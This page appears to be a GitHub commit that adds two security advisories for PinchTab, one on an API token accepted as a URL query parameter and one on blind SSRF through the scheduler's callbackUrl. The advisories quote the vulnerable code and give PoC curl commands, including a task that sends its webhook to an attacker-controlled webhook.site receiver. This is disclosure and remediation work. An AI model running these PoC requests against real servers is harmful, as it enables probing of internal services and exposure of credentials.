Skip to content

Commit e5d9ca6

Browse files
1 parent e1f7bc5 commit e5d9ca6

2 files changed

Lines changed: 129 additions & 0 deletions

File tree

Lines changed: 61 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,61 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-mrqc-3276-74f8",
4+
"modified": "2026-03-24T19:33:23Z",
5+
"published": "2026-03-24T19:33:23Z",
6+
"aliases": [
7+
"CVE-2026-33620"
8+
],
9+
"summary": "PinchTab: API Bearer Token Exposed in URL Query Parameter via Server Logs and Intermediary Systems",
10+
"details": "### Summary\nPinchTab `v0.7.8` through `v0.8.3` accepted the API token from a `token` URL query parameter in addition to the `Authorization` header. When a valid API credential is sent in the URL, it can be exposed through request URIs recorded by intermediaries or client-side tooling, such as reverse proxy access logs, browser history, shell history, clipboard history, and tracing systems that capture full URLs.\n\nThis issue is an unsafe credential transport pattern rather than a direct authentication bypass. It only affects deployments where a token is configured and a client actually uses the query-parameter form. PinchTab's security guidance already recommended `Authorization: Bearer <token>`, but `v0.8.3` still accepted `?token=` and included first-party flows that generated and consumed URLs containing the token.\n\nThis was addressed in v0.8.4 by removing query-string token authentication and requiring safer header- or session-based authentication flows.\n\n### Details\n**Issue 1 — Query-string token accepted in `v0.7.8` through `v0.8.3` (`internal/handlers/middleware.go`):**\nThe `v0.8.3` authentication middleware accepted credentials from the URL query string:\n\n```\n// internal/handlers/middleware.go — v0.8.3\nauth := r.Header.Get(\"Authorization\")\nqToken := r.URL.Query().Get(\"token\")\n\nif auth == \"\" && qToken == \"\" {\n web.ErrorCode(w, 401, \"missing_token\", \"unauthorized\", false, nil)\n return\n}\n\nprovided := strings.TrimPrefix(auth, \"Bearer \")\nif provided == auth {\n if qToken != \"\" {\n provided = qToken\n } else {\n provided = auth\n }\n}\n\nif subtle.ConstantTimeCompare([]byte(provided), []byte(cfg.Token)) != 1 {\n web.ErrorCode(w, 401, \"bad_token\", \"unauthorized\", false, nil)\n return\n}\n```\n\nThis means any client sending `GET /health?token=<secret>` in `v0.8.3` would authenticate successfully without using the `Authorization` header. I verified the same query-token auth pattern is present in the historical tag range starting at `v0.7.8`, and it is removed in `v0.8.4`.\n\n**Issue 2 — First-party setup and dashboard flows in `v0.8.3` generated and consumed `?token=` URLs:**\nThe `v0.8.3` setup flow generated dashboard URLs containing the token in the query string:\n\n```\n// cmd/pinchtab/cmd_wizard.go — v0.8.3\nfunc dashboardURL(cfg *config.FileConfig, path string) string {\n host := orDefault(cfg.Server.Bind, \"127.0.0.1\")\n port := orDefault(cfg.Server.Port, \"9867\")\n url := fmt.Sprintf(\"http://%s:%s%s\", host, port, path)\n if cfg.Server.Token != \"\" {\n url += \"?token=\" + cfg.Server.Token\n }\n return url\n}\n```\n\nThe `v0.8.3` dashboard frontend also supported one-click login from that same query-string token:\n\n```\n// dashboard/src/App.tsx — v0.8.3\nconst params = new URLSearchParams(window.location.search);\nconst urlToken = params.get(\"token\");\nif (urlToken) {\n setStoredAuthToken(urlToken);\n clean.searchParams.delete(\"token\");\n window.history.replaceState({}, \"\", clean.pathname + clean.hash);\n window.location.reload();\n}\n```\n\nThat combination materially increased the chance that users would open, copy, paste, bookmark, or log URLs containing live credentials before the token was scrubbed from the visible address bar.\n\n**Issue 3 — Exposure depends on surrounding systems recording the URL:**\nPinchTab's own request logger records `r.URL.Path`, not the full raw query string, so the leak is not primarily through PinchTab's structured application log. The risk comes from surrounding systems or client tooling that record the full request URI, such as:\n\n1. reverse proxies and load balancers\n2. browser history or bookmarks\n3. shell history containing full `curl` commands\n4. clipboard or terminal history when the wizard prints and copies a tokenized URL\n5. tracing or monitoring systems that capture full request URLs\n\n### PoC\n**Step 1 — Confirm auth is required**\n\n```bash\ncurl -i http://localhost:9867/health\n```\n\nExpected in token-protected affected deployments:\n\n```http\nHTTP/1.1 401 Unauthorized\n```\n\n**Step 2 — Authenticate using the vulnerable query-parameter pattern**\n\n```bash\ncurl -i \"http://localhost:9867/health?token=supersecrettoken\"\n```\n\nExpected:\n\n```http\nHTTP/1.1 200 OK\n```\n\nThis demonstrates that the token is accepted from the URL.\n\n**Step 3 — Observe the exposure vector**\nIf the request traverses a system that records the full URI, the token may appear in logs or local history, for example:\n\n```text\nGET /health?token=supersecrettoken HTTP/1.1\n```\n\nIn `v0.8.3`, a first-party reproduction path also exists without any external proxy: run the setup wizard, copy the printed dashboard URL containing `?token=...`, and note that the live credential is now present in clipboard history and any place that URL is pasted.\n\n### Impact\n1. Exposure of a valid API token through unsafe URL-based transport when a client uses the `?token=` authentication form.\n2. Lower barrier for credential compromise where reverse proxies, browser history, shell history, clipboard history, or tracing systems retain full request URIs.\n3. The `v0.8.3` wizard/dashboard flow increased the practical likelihood of this exposure by generating and consuming tokenized URLs as a first-party login pattern.\n4. Practical risk depends on actual use of the query-token pattern; deployments that use only `Authorization: Bearer <token>` are not affected by this issue in practice.\n5. This is not a direct authentication bypass. An attacker still needs access to a secondary source that captured the URL containing the token.\n\n### Suggested Remediation\n1. Reject query-string token authentication and accept credentials only through the `Authorization` header or controlled session mechanisms.\n2. Avoid generating user-facing URLs that contain live credentials.\n3. Document header-based auth as the only supported non-browser API authentication pattern.\n4. Recommend token rotation for users who may previously have used query-parameter authentication.\n\n**Screenshot Capture**\n<img width=\"1162\" height=\"164\" alt=\"ภาพถ่ายหน้าจอ 2569-03-18 เวลา 12 46 08\" src=\"https://github.com/user-attachments/assets/e68b4469-dafd-400d-a6e1-f74d368cc8ac\" />",
11+
"severity": [
12+
{
13+
"type": "CVSS_V3",
14+
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "Go",
21+
"name": "github.com/pinchtab/pinchtab"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "0.7.8"
29+
},
30+
{
31+
"fixed": "0.8.4"
32+
}
33+
]
34+
}
35+
]
36+
}
37+
],
38+
"references": [
39+
{
40+
"type": "WEB",
41+
"url": "https://github.com/pinchtab/pinchtab/security/advisories/GHSA-mrqc-3276-74f8"
42+
},
43+
{
44+
"type": "PACKAGE",
45+
"url": "https://github.com/pinchtab/pinchtab"
46+
},
47+
{
48+
"type": "WEB",
49+
"url": "https://github.com/pinchtab/pinchtab/releases/tag/v0.8.4"
50+
}
51+
],
52+
"database_specific": {
53+
"cwe_ids": [
54+
"CWE-598"
55+
],
56+
"severity": "MODERATE",
57+
"github_reviewed": true,
58+
"github_reviewed_at": "2026-03-24T19:33:23Z",
59+
"nvd_published_at": null
60+
}
61+
}
Lines changed: 68 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,68 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-xqq2-4j46-vwp7",
4+
"modified": "2026-03-24T19:32:21Z",
5+
"published": "2026-03-24T19:32:21Z",
6+
"aliases": [
7+
"CVE-2026-33619"
8+
],
9+
"summary": "PinchTab has Unauthenticated Blind SSRF in Task Scheduler via Unvalidated callbackUrl",
10+
"details": "### Summary\nPinchTab v0.8.3 contains a server-side request forgery issue in the optional scheduler's webhook delivery path. When a task is submitted to `POST /tasks` with a user-controlled `callbackUrl`, the v0.8.3 scheduler sends an outbound HTTP `POST` to that URL when the task reaches a terminal state. In that release, the webhook path validated only the URL scheme and did not reject loopback, private, link-local, or other non-public destinations.\n\nBecause the v0.8.3 implementation also used the default HTTP client behavior, redirects were followed and the destination was not pinned to validated IPs. This allowed blind SSRF from the PinchTab server to attacker-chosen HTTP(S) targets reachable from the server.\n\nThis issue is narrower than a general unauthenticated internet-facing SSRF. The scheduler is optional and off by default, and in token-protected deployments the attacker must already be able to submit tasks using the server's master API token. In PinchTab's intended deployment model, that token represents administrative control rather than a low-privilege role. Tokenless deployments lower the barrier further, but that is a separate insecure configuration state rather than impact created by the webhook bug itself.\n\nPinchTab's default deployment model is local-first and user-controlled, with loopback bind and token-based access in the recommended setup. That lowers practical risk in default use, even though it does not remove the underlying webhook issue when the scheduler is enabled and reachable.\n\nThis was addressed in v0.8.4 by validating callback targets before dispatch, rejecting non-public IP ranges, pinning delivery to validated IPs, disabling redirect following, and validating `callbackUrl` during task submission.\n\n### Details\n**Issue 1 - Webhook dispatch validated only scheme in v0.8.3 (`internal/scheduler/webhook.go`):**\nThe vulnerable `sendWebhook()` implementation accepted any `http` or `https` URL and dispatched the outbound request without destination IP validation:\n\n```go\n// internal/scheduler/webhook.go - v0.8.3\nparsed, err := url.Parse(callbackURL)\nif parsed.Scheme != \"http\" && parsed.Scheme != \"https\" {\n slog.Warn(\"webhook: unsupported scheme\", ...)\n return\n}\n\nreq, _ := http.NewRequest(http.MethodPost, callbackURL, bytes.NewReader(payload))\nresp, err := webhookClient.Do(req)\n```\n\nIn v0.8.3 there was no hostname resolution and no rejection of loopback, private, link-local, or other non-public addresses before dispatch.\n\n**Issue 2 - `callbackUrl` was accepted without server-side validation in v0.8.3 (`internal/scheduler/task.go`):**\nThe task submission schema accepted a user-controlled `callbackUrl`, and the v0.8.3 request validation logic did not validate it:\n\n```go\n// internal/scheduler/task.go - v0.8.3\ntype SubmitRequest struct {\n AgentID string `json:\"agentId\"`\n Action string `json:\"action\"`\n CallbackURL string `json:\"callbackUrl,omitempty\"`\n}\n\nfunc (r *SubmitRequest) Validate() error {\n if r.AgentID == \"\" {\n return fmt.Errorf(\"missing required field 'agentId'\")\n }\n if r.Action == \"\" {\n return fmt.Errorf(\"missing required field 'action'\")\n }\n return nil\n}\n```\n\nThis meant a user-supplied `callbackUrl` flowed into webhook delivery without early rejection.\n\n**Issue 3 - Redirects were followed in v0.8.3:**\nThe v0.8.3 webhook client used the default `http.Client`, so redirects were followed. That made the SSRF broader than the initially supplied URL alone, because an attacker-controlled external endpoint could redirect the server to a second destination.\n\n### PoC\n**Prerequisites**\n\n- PinchTab `v0.8.3`\n- `scheduler.enabled: true` because the scheduler is off by default\n- The attacker can submit tasks to `POST /tasks`\n- In token-protected deployments, this requires the master API token\n- In deployments intentionally or accidentally running without a token, the barrier is lower, but that is separate from the webhook bug itself\n- An attacker-controlled HTTP listener to receive and log the outbound request\n\nEnable scheduler if required:\n\n```bash\ncurl -s -X PUT http://TARGET:9867/api/config \\\n -H \"Authorization: Bearer <token>\" \\\n -H \"Content-Type: application/json\" \\\n -d '{\"scheduler\":{\"enabled\":true}}'\n```\n\nRestart PinchTab after changing config.\n\n**Execution**\nSubmit a task with an attacker-controlled `callbackUrl`. A valid `tabId` is not required because the webhook fires for terminal task states, including failure:\n\n```bash\ncurl -s -X POST http://TARGET:9867/tasks \\\n -H \"Authorization: Bearer <token>\" \\\n -H \"Content-Type: application/json\" \\\n -d '{\n \"agentId\": \"poc-agent\",\n \"action\": \"navigate\",\n \"params\": {\"url\": \"https://example.com\"},\n \"callbackUrl\": \"https://webhook.site/c4030a47-259a-4ea4-ae34-fdbf96914b19\"\n }'\n```\n\nConfirm the task was accepted:\n\n```json\n{\n \"createdAt\": \"2026-03-18T10:02:39.847097+07:00\",\n \"position\": 1,\n \"state\": \"queued\",\n \"taskId\": \"tsk_2633324a\"\n}\n```\n\nPoll task state:\n\n```bash\ncurl -s -H \"Authorization: Bearer <token>\" http://TARGET:9867/tasks/tsk_2633324a\n```\n\nExample result:\n\n```json\n{\n \"taskId\": \"tsk_2633324a\",\n \"state\": \"failed\",\n \"error\": \"tabId is required for task execution\",\n \"callbackUrl\": \"https://webhook.site/c4030a47-259a-4ea4-ae34-fdbf96914b19\",\n \"completedAt\": \"2026-03-18T10:02:39.858043+07:00\"\n}\n```\n\nQuery the attacker-controlled receiver for the inbound POST:\n\n```bash\ncurl -s \"https://webhook.site/token/c4030a47-259a-4ea4-ae34-fdbf96914b19/requests\" \\\n | python3 -m json.tool\n```\n\n**Observation**\n1. The task is accepted and reaches a terminal state.\n2. The attacker-controlled receiver logs an inbound POST originating from the PinchTab server's egress address.\n3. The webhook includes the task snapshot payload and PinchTab-specific headers, confirming server-side delivery.\n4. In v0.8.3, the same dispatch path can be directed at internal or non-public HTTP targets reachable from the server.\n5. This PoC demonstrates blind outbound request capability; it does not by itself demonstrate response-body disclosure or automatic cloud credential theft.\n\n### Impact\n1. Blind SSRF from the PinchTab server to attacker-chosen HTTP(S) targets when the optional scheduler is enabled and reachable.\n2. Potential interaction with internal HTTP services or metadata endpoints that are reachable from the server but not from the attacker directly.\n3. Limited direct confidentiality impact because the webhook is a fixed outbound POST and the response body is not returned to the attacker through the task API.\n4. Potential low-integrity impact where internal services accept unauthenticated POST requests and perform state-changing actions.\n5. Practical risk is lower in the documented default local-first deployment model, where loopback bind, generated tokens, and a disabled scheduler reduce exposure.\n\n### Suggested Remediation\nApply the same outbound destination controls used for safer HTTP egress paths to scheduler webhook delivery. Specifically:\n\n1. Resolve the hostname of `callbackUrl` before dispatch and reject loopback, private, link-local, multicast, unspecified, and other non-public IP ranges.\n2. Pin delivery to the validated IP set instead of relying on fresh DNS resolution during connect.\n3. Reject redirects or re-validate every redirect target before following it.\n4. Validate `callbackUrl` during task submission so unsafe targets fail early instead of only at delivery time.\n5. Optionally add an allowlist for approved webhook destinations if operators need narrowly scoped internal receivers.\n\n### Evidence Capture\n**Exploit**\n\n<img width=\"2864\" height=\"1387\" alt=\"new\" src=\"https://github.com/user-attachments/assets/b7b5cf31-c463-4e25-adff-fc8798f1f33b\" />\n\n**Verify**\n\n<img width=\"2866\" height=\"1474\" alt=\"web\" src=\"https://github.com/user-attachments/assets/65391b00-8df5-4c3c-8789-eb100f65b301\" />",
11+
"severity": [
12+
{
13+
"type": "CVSS_V3",
14+
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:N/I:L/A:N"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "Go",
21+
"name": "github.com/pinchtab/pinchtab"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "0"
29+
},
30+
{
31+
"fixed": "0.8.4"
32+
}
33+
]
34+
}
35+
],
36+
"database_specific": {
37+
"last_known_affected_version_range": "<= 0.8.3"
38+
}
39+
}
40+
],
41+
"references": [
42+
{
43+
"type": "WEB",
44+
"url": "https://github.com/pinchtab/pinchtab/security/advisories/GHSA-xqq2-4j46-vwp7"
45+
},
46+
{
47+
"type": "WEB",
48+
"url": "https://github.com/pinchtab/pinchtab/commit/c824574c3a05073dec2f5e9c219e22ffff8de445"
49+
},
50+
{
51+
"type": "PACKAGE",
52+
"url": "https://github.com/pinchtab/pinchtab"
53+
},
54+
{
55+
"type": "WEB",
56+
"url": "https://github.com/pinchtab/pinchtab/releases/tag/v0.8.4"
57+
}
58+
],
59+
"database_specific": {
60+
"cwe_ids": [
61+
"CWE-918"
62+
],
63+
"severity": "MODERATE",
64+
"github_reviewed": true,
65+
"github_reviewed_at": "2026-03-24T19:32:21Z",
66+
"nvd_published_at": null
67+
}
68+
}

0 commit comments

Comments
 (0)